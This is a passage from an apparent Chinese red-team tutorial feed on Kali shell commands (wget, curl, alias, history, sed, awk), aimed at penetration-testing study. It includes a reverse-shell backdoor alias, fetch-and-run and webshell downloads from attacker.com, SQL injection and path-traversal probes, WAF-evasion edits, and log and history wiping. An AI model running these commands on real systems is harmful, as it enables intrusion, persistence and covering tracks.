&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;wget -r -l &lt;span class="m"&gt;2&lt;/span&gt; --no-parent http://target.com/ &lt;span class="c1"&gt;# 递归下载目录（-r）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-2"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载并直接执行远程脚本（高风险操作！）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget -qO- http://attacker.com/shell.sh &lt;span class="p"&gt;|&lt;/span&gt; bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-1"&gt;&lt;strong&gt;2. &lt;code&gt;curl&lt;/code&gt;：高级HTTP请求工具&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-3"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;测试API端点&lt;/strong&gt;
• &lt;strong&gt;上传/下载Webshell&lt;/strong&gt;
• &lt;strong&gt;绕过WAF检测&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-3"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -X POST -d &lt;span class="s2"&gt;&amp;#34;cmd=id&amp;#34;&lt;/span&gt; http://target.com/cmd.php &lt;span class="c1"&gt;# 发送POST请求（-X, -d）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -H &lt;span class="s2"&gt;&amp;#34;User-Agent: Mozilla&amp;#34;&lt;/span&gt; http://target.com &lt;span class="c1"&gt;# 自定义请求头（-H）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;curl -o output.html http://target.com &lt;span class="c1"&gt;# 保存响应内容（-o）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;curl -k https://self-signed-cert.com &lt;span class="c1"&gt;# 忽略SSL证书错误（-k）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-3"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 快速检测SQL注入漏洞（时间盲注）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -s &lt;span class="s2"&gt;&amp;#34;http://target.com/?id=1&amp;#39; AND SLEEP(5)--&amp;#34;&lt;/span&gt; -o /dev/null -w &lt;span class="s2"&gt;&amp;#34;Time: %{time_total}s&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3"&gt;&lt;strong&gt;3. &lt;code&gt;axel&lt;/code&gt;：多线程加速下载&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-4"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;快速下载大文件（如字典、镜像）&lt;/strong&gt;
• &lt;strong&gt;绕过下载限速&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-4"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;axel -n &lt;span class="m"&gt;10&lt;/span&gt; http://mirror.kali.org/kali.iso &lt;span class="c1"&gt;# 启用10线程下载（-n）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;axel -a -S https://mirrors.aliyun.com/kali &lt;span class="c1"&gt;# 自动选择镜像源（-S）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-4"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多线程下载字典文件（提升效率）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;axel -n &lt;span class="m"&gt;8&lt;/span&gt; http://wordlists.secploit.com/rockyou.txt.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="历史记录和别名设置"&gt;历史记录和别名设置
&lt;/h2&gt;&lt;h3 id="1-2"&gt;&lt;strong&gt;1. &lt;code&gt;history&lt;/code&gt;：管理命令行历史&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-5"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;回溯攻击操作&lt;/strong&gt;
• &lt;strong&gt;清理痕迹&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用参数-5"&gt;&lt;strong&gt;常用参数&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;history&lt;/span&gt; &lt;span class="c1"&gt;# 显示全部历史命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;history&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;nmap&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 过滤特定命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;history&lt;/span&gt; -c &lt;span class="c1"&gt;# 清空当前会话历史（-c）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;!100 &lt;span class="c1"&gt;# 执行历史记录中第100条命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-5"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 快速调用历史中的漏洞扫描命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;!ssh &lt;span class="c1"&gt;# 执行最后一次ssh命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;!! &lt;span class="c1"&gt;# 重复上一条命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-2"&gt;&lt;strong&gt;2. &lt;code&gt;alias&lt;/code&gt;：自定义命令别名&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="渗透核心用途-6"&gt;&lt;strong&gt;渗透核心用途&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;简化复杂命令&lt;/strong&gt;
• &lt;strong&gt;隐藏恶意操作&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="常用配置"&gt;&lt;strong&gt;常用配置&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;l&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ls -lah&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 简化文件列表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;scan&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;nmap -sV -Pn -T4&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 快速扫描模板&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; http-server&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;python3 -m http.server&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 一键启动HTTP服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="实战场景-6"&gt;&lt;strong&gt;实战场景&lt;/strong&gt;：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建隐蔽后门别名（持久化需写入 ~/.bashrc）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;innocent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;echo &amp;#34;Hello&amp;#34; &amp;amp;&amp;amp; nc -e /bin/sh 192.168.1.100 4444&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="渗透命令速查表"&gt;&lt;strong&gt;渗透命令速查表&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;| 场景 | 命令示例 |
| - | |
| &lt;strong&gt;实时监控日志&lt;/strong&gt; | &lt;code&gt;tail -f /var/log/nginx/access.log \| grep &amp;quot;sqlmap&amp;quot;&lt;/code&gt; |
| &lt;strong&gt;检测端口变化&lt;/strong&gt; | &lt;code&gt;watch -n 10 &amp;quot;nmap -p- 192.168.1.1&amp;quot;&lt;/code&gt; |
| &lt;strong&gt;下载Webshell&lt;/strong&gt; | &lt;code&gt;wget http://attacker.com/shell.php -U &amp;quot;Mozilla&amp;quot; -O /var/www/html/cmd.php&lt;/code&gt; |
| &lt;strong&gt;绕过WAF&lt;/strong&gt; | &lt;code&gt;curl -X POST -H &amp;quot;X-Forwarded-For: 127.0.0.1&amp;quot; -d &amp;quot;param=../../etc/passwd&amp;quot;&lt;/code&gt; |
| &lt;strong&gt;清理痕迹&lt;/strong&gt; | &lt;code&gt;history -d 1001 &amp;amp;&amp;amp; history -c&lt;/code&gt; |&lt;/p&gt;
&lt;h3 id="注意事项"&gt;&lt;strong&gt;注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;日志清理&lt;/strong&gt;：使用 &lt;code&gt;history -d&lt;/code&gt; 或 &lt;code&gt;shred -zu ~/.bash_history&lt;/code&gt; 清除敏感操作记录。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隐蔽下载&lt;/strong&gt;：通过 &lt;code&gt;curl&lt;/code&gt; 的 &lt;code&gt;--socks5&lt;/code&gt; 参数或 &lt;code&gt;proxychains&lt;/code&gt; 代理下载，避免暴露真实IP。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;别名持久化&lt;/strong&gt;：将常用别名写入 &lt;code&gt;~/.bashrc&lt;/code&gt; 或 &lt;code&gt;/etc/profile&lt;/code&gt;，重启后仍生效。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day6 Kali常用命令</title><link>https://ruajingjing.top/post/day6-kali%E6%B8%97%E9%80%8F%E5%91%BD%E4%BB%A4/</link><pubDate>Tue, 08 Apr 2025 11:34:14 +0000</pubDate><guid>https://ruajingjing.top/post/day6-kali%E6%B8%97%E9%80%8F%E5%91%BD%E4%BB%A4/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day6 Kali常用命令" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="红队渗透测试常用命令的典型场景和用法"&gt;红队渗透测试常用命令的典型场景和用法
&lt;/h2&gt;&lt;p&gt;&lt;em&gt;2025年4月7日 23点46分&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Day2中简单列举了几个Shell基本命令作为练习，本节将列举这些常见命令的红队渗透（也包含防御场景）常用组合方法。&lt;/p&gt;
&lt;p&gt;从官方下载log文件练习，这是官方为了配合课程给我们提供的课后练习，日志文件&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget www.offensive-security.com/pwk-files/access_log.txt.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gunzip access_log.txt.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="1"&gt;&lt;strong&gt;1. &lt;code&gt;grep&lt;/code&gt; - 快速过滤敏感信息&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 从日志中提取登录失败记录（爆破检测）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /var/log/auth.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;Failed password&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 搜索配置文件中的密码字段（敏感信息提取）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;grep -r &lt;span class="s2"&gt;&amp;#34;password&amp;#34;&lt;/span&gt; /etc/ 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 过滤含特定关键词的HTTP请求（如SQL注入特征）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;cat access.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;select.*from&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250408104416702" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408104416702.png"&gt;&lt;/p&gt;
&lt;h3 id="2"&gt;&lt;strong&gt;2. &lt;code&gt;sed&lt;/code&gt; - 动态修改文件内容&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 删除日志中本机IP痕迹（反取证）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sed -i &lt;span class="s1"&gt;&amp;#39;/192.168.1.100/d&amp;#39;&lt;/span&gt; /var/log/nginx/access.log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 替换webshell中的恶意特征码（绕过WAF）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sed -i &lt;span class="s1"&gt;&amp;#39;s/eval($_POST/process_data(/g&amp;#39;&lt;/span&gt; backdoor.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250408105306518" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408105306518.png"&gt;&lt;/p&gt;
&lt;h3 id="3"&gt;&lt;strong&gt;3. &lt;code&gt;cut&lt;/code&gt; - 提取关键数据列&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 提取/etc/passwd中的用户名列表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;cut -d: -f1 /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 从CSV中提取子域名（信息收集）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;cat targets.csv &lt;span class="p"&gt;|&lt;/span&gt; cut -d&lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; -f3 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;.*\.example\.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 提取ip&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;cat access_log.txt &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -u
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 看访问数量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;cat access_log.txt &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 从多到少排序&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;cat access_log.txt &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt;sort -run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 筛查最高请求的攻击源是否攻击成功&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;cat access_log.txt&lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;208.68.234.99&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep admin &lt;span class="p"&gt;|&lt;/span&gt; uniq -c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250408105356873" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408105356873.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408110637119" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408110637119.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408110752013" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408110752013.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408110904462" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408110904462.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408111003176" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408111003176.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408111306388" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408111306388.png"&gt;&lt;/p&gt;
&lt;h3 id="4"&gt;&lt;strong&gt;4. &lt;code&gt;awk&lt;/code&gt; - 高级文本分析与提取&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 统计访问日志中的高频IP（寻找攻击源）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt; access.log &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; sort -nr
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 提取HTTP响应码为200的请求（漏洞扫描）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;cat access.log &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;$9 == 200 {print $7}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250408111435236" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408111435236.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250408111519648" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250408111519648.png"&gt;&lt;/p&gt;
&lt;h3 id="5"&gt;&lt;strong&gt;5. &lt;code&gt;comm&lt;/code&gt; - 对比敏感文件差异&lt;/strong&gt;
